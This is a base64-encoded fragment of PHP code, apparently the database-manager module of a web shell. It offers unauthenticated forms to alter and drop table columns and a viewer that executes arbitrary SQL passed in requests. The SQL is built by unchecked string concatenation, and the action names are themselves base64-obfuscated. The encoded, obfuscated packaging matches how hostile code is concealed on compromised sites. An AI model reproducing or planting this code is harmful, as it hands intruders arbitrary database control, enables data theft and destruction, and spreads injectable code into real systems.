sdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJ